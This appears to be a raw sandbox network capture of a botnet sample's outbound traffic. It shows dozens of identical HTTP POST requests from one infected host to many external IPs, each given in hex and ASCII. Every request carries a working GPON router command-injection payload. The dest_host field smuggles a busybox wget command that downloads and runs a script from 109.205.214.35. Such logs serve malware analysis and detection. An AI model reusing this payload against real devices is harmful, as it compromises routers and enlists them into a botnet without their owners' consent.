Mar 21, 2024 05:21:59.468502998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.13	47700	118.27.57.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468533039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.13	48402	109.191.164.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468549013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.13	34728	42.197.214.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468581915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.13	34178	5.19.185.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468583107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.13	60218	118.215.219.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468611002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.13	49442	42.25.245.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468671083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.13	41426	5.55.4.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468688965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.13	37112	5.166.237.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468722105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.13	46684	212.244.227.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468746901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.13	44288	109.132.37.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468760014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.13	60138	118.203.244.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468780994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.13	54032	42.127.173.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468811035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.13	41526	212.123.61.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476614952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.13	45612	118.227.33.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476644993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.13	36154	212.109.82.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476665974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.13	55228	212.107.70.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476686001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.13	49166	109.149.68.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476706982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.13	55264	118.68.137.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476728916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.13	45466	118.35.252.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476764917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.13	50696	212.3.43.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476814985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.13	39086	212.57.107.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476819992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.13	46668	42.70.187.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476874113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.13	44516	212.149.67.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476905107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.13	46390	109.5.247.11	443

Timestamp	Bytes transferred	Direction	Data
